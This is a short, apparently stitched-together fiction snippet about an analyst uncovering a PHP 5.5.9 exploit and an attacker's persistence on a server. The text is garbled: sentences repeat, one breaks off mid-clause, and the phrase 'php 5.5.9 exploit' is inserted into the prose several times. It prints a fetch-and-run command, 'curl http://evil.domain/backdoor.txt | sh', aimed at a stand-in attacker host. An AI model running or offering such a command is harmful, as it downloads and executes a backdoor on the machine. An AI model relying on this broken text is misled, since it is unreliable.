5.5.9 Exploit — Php

The attacker had been rewriting that pointer to execute curl http://evil.domain/backdoor.txt | sh .

“That’s how they’re persisting,” she whispered. php 5.5.9 exploit

She accessed the client's server via a locked-down jump box. The attacker had been rewriting that pointer to

The exploit wasn't a complex SQL injection or a clever XSS. It was a whisper. – a use-after-free vulnerability in the get_headers() function. A memory corruption flaw so subtle that most vulnerability scanners wouldn't even flag it. But Maya knew its music. php 5.5.9 exploit

The logs went silent.